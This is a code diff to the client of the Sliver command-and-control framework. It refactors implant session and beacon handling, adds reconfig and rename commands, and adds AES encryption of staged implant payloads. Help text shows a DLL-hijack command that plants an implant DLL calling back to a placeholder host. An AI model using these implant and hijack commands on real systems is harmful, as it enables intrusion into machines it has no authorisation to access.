loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
@@ -657,8 +657,8 @@ supplied with the --profile flag.
|
||||
# Use a local DLL for a hijack
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a Sliver generated DLL for the hijack
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
|
||||
# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
|
||||
profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
|
||||
dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
|
||||
|
||||
# Use a local DLL as the reference DLL
|
||||
|
||||
@@ -26,6 +26,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -33,6 +34,8 @@ import (
|
||||
func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
profileName := ctx.Flags.String("profile")
|
||||
listenerURL := ctx.Flags.String("url")
|
||||
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
|
||||
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
|
||||
|
||||
if profileName == "" || listenerURL == "" {
|
||||
con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
|
||||
@@ -56,12 +59,39 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Profile not found\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt := false
|
||||
if aesEncryptKey != "" {
|
||||
// check if aes encryption key is correct length
|
||||
if len(aesEncryptKey)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES Key\n")
|
||||
return
|
||||
}
|
||||
|
||||
// set default aes iv
|
||||
if aesEncryptIv == "" {
|
||||
aesEncryptIv = "0000000000000000"
|
||||
}
|
||||
|
||||
// check if aes iv is correct length
|
||||
if len(aesEncryptIv)%16 != 0 {
|
||||
con.PrintErrorf("Incorect length of AES IV\n")
|
||||
return
|
||||
}
|
||||
|
||||
aesEncrypt = true
|
||||
}
|
||||
|
||||
stage2, err := generate.GetSliverBinary(profile, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
stage2 = util.Encrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
|
||||
}
|
||||
|
||||
switch stagingURL.Scheme {
|
||||
case "http":
|
||||
ctrl := make(chan bool)
|
||||
@@ -125,4 +155,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Unsupported staging protocol: %s\n", stagingURL.Scheme)
|
||||
return
|
||||
}
|
||||
|
||||
if aesEncrypt {
|
||||
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
|
||||
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
|
||||
}
|
||||
}
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
@@ -41,7 +42,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillSession(session, ctx.Flags.Bool("force"), con)
|
||||
err := KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -54,7 +55,7 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
|
||||
err := KillBeacon(beacon, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -67,28 +68,31 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if session == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
core.Sessions.Remove(session.ID)
|
||||
return err
|
||||
}
|
||||
|
||||
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
|
||||
func KillBeacon(beacon *clientpb.Beacon, ctx *grumble.Context, con *console.SliverConsoleClient) error {
|
||||
if beacon == nil {
|
||||
return errors.New("session does not exist")
|
||||
}
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
BeaconID: beacon.ID,
|
||||
Timeout: int64(ctx.Flags.Int("timeout")),
|
||||
},
|
||||
Force: force,
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
return err
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -40,7 +41,7 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessionMapper := prelude.InitSessionMapper(config)
|
||||
implantMapper := prelude.InitImplantMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
@@ -52,9 +53,26 @@ func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, session := range sessions.Sessions {
|
||||
err = sessionMapper.AddSession(session)
|
||||
err = implantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", session.Name, err)
|
||||
con.PrintErrorf("Could not add session %s to implant mapper: %s", session.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get beacon list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(beacons.Beacons) > 0 {
|
||||
con.PrintInfof("Adding existing beacons ...\n")
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = implantMapper.AddImplant(beacon, func(taskID string, cb func(task *clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add beacon %s to implant mapper: %s", beacon.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
@@ -25,8 +25,8 @@ import (
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
if prelude.ImplantMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.ImplantMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
|
||||
@@ -41,6 +41,10 @@ func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Pid: int32(pid),
|
||||
Force: ctx.Flags.Bool("force"),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Terminate failed: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if terminated.Response != nil && terminated.Response.Async {
|
||||
con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Reconfig
|
||||
=========
|
||||
|
||||
Commands used to reconfigure beacon/session times and metadata
|
||||
@@ -0,0 +1,96 @@
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ReconfigCmd - Reconfigure metadata about a sessions
|
||||
func ReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
var reconnectInterval time.Duration
|
||||
if ctx.Flags.String("reconnect-interval") != "" {
|
||||
reconnectInterval, err = time.ParseDuration(ctx.Flags.String("reconnect-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid reconnect interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
var beaconInterval time.Duration
|
||||
var beaconJitter time.Duration
|
||||
if beacon != nil {
|
||||
if ctx.Flags.String("beacon-interval") != "" {
|
||||
beaconInterval, err = time.ParseDuration(ctx.Flags.String("beacon-interval"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon interval: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if ctx.Flags.String("beacon-jitter") != "" {
|
||||
beaconJitter, err = time.ParseDuration(ctx.Flags.String("beacon-jitter"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid beacon jitter: %s\n", err)
|
||||
return
|
||||
}
|
||||
if beaconInterval == 0 && beaconJitter != 0 {
|
||||
con.PrintInfof("Modified beacon jitter will take effect after next check-in\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
reconfig, err := con.Rpc.Reconfigure(context.Background(), &sliverpb.ReconfigureReq{
|
||||
ReconnectInterval: int64(reconnectInterval),
|
||||
BeaconInterval: int64(beaconInterval),
|
||||
BeaconJitter: int64(beaconJitter),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if reconfig.Response != nil && reconfig.Response.Async {
|
||||
con.AddBeaconCallback(reconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, reconfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Reconfigured beacon\n")
|
||||
})
|
||||
con.PrintAsyncResponse(reconfig.Response)
|
||||
} else {
|
||||
con.PrintInfof("Reconfiguration complete\n")
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package sessions
|
||||
package reconfig
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,18 +21,16 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SessionsReconfigCmd - Reconfigure metadata about a sessions
|
||||
func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
// RecnameCmd - Reconfigure metadata about a sessions
|
||||
func RenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -46,24 +44,23 @@ func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
}
|
||||
}
|
||||
|
||||
// Option to change the reconnect interval
|
||||
reconnect := ctx.Flags.Int("reconnect")
|
||||
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
var beaconID string
|
||||
var sessionID string
|
||||
if beacon != nil {
|
||||
beaconID = beacon.ID
|
||||
} else if session != nil {
|
||||
sessionID = session.ID
|
||||
}
|
||||
_, err := con.Rpc.Rename(context.Background(), &clientpb.RenameReq{
|
||||
SessionID: sessionID,
|
||||
BeaconID: beaconID,
|
||||
Name: name,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Renamed implant to %s\n", name)
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
}
|
||||
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
c2s = append(c2s, wgC2...)
|
||||
case "https":
|
||||
fallthrough
|
||||
case "http":
|
||||
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
|
||||
if err != nil {
|
||||
|
||||
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.IsDead {
|
||||
con.Printf("Pruning session %s ... ", session.ID)
|
||||
err = kill.KillSession(session, true, con)
|
||||
err = kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.Printf("failed!\n")
|
||||
con.PrintErrorf("%s\n", err)
|
||||
|
||||
@@ -31,6 +31,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -50,7 +51,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -64,7 +65,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -80,7 +81,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -110,19 +111,38 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
@@ -142,17 +162,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -19,6 +19,8 @@ package settings
|
||||
*/
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
|
||||
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
|
||||
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
|
||||
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
|
||||
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// SettingsAlwaysOverflow - Toggle always overflow
|
||||
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
|
||||
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
|
||||
}
|
||||
|
||||
// SettingsSmallTerm - Modify small terminal width value
|
||||
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
if con.Settings == nil {
|
||||
con.Settings, err = assets.LoadSettings()
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
result := ""
|
||||
prompt := &survey.Input{Message: "Set small width:"}
|
||||
err = survey.AskOne(prompt, &result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
newWidth, err := strconv.Atoi(result)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if newWidth < 1 {
|
||||
con.PrintErrorf("Invalid width (too small)\n")
|
||||
return
|
||||
}
|
||||
con.Settings.SmallTermWidth = newWidth
|
||||
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
|
||||
}
|
||||
|
||||
// SettingsTablesCmd - The client settings command
|
||||
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var err error
|
||||
|
||||
@@ -27,7 +27,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
|
||||
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
|
||||
renderedTable := tw.Render()
|
||||
lineCount := strings.Count(renderedTable, "\n")
|
||||
if !overflow {
|
||||
if !overflow || con.Settings.AlwaysOverflow {
|
||||
// Only paginate if the number of lines is at least 2x the terminal height
|
||||
width, height, err := terminal.GetSize(0)
|
||||
width, height, err := term.GetSize(0)
|
||||
if err == nil && 2*height < lineCount {
|
||||
if 7 < height {
|
||||
tw.SetPageSize(height - 6)
|
||||
|
||||
@@ -358,6 +358,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
filesystem.PrintLs(ls, flags, "", con)
|
||||
|
||||
case sliverpb.MsgMvReq:
|
||||
mv := &sliverpb.Mv{}
|
||||
err := proto.Unmarshal(task.Response, mv)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
case sliverpb.MsgMkdirReq:
|
||||
mkdir := &sliverpb.Mkdir{}
|
||||
err := proto.Unmarshal(task.Response, mkdir)
|
||||
|
||||
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(session, nil)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
@@ -220,8 +220,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Active session disconnected")
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.RemoveImplant(session)
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.ImplantMapper != nil {
|
||||
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
|
||||
con.AddBeaconCallback(taskID, cb)
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
}
|
||||
|
||||
@@ -167,6 +167,7 @@ const (
|
||||
ExecuteStr = "execute"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
RmStr = "rm"
|
||||
MkdirStr = "mkdir"
|
||||
CdStr = "cd"
|
||||
|
||||
@@ -1,166 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
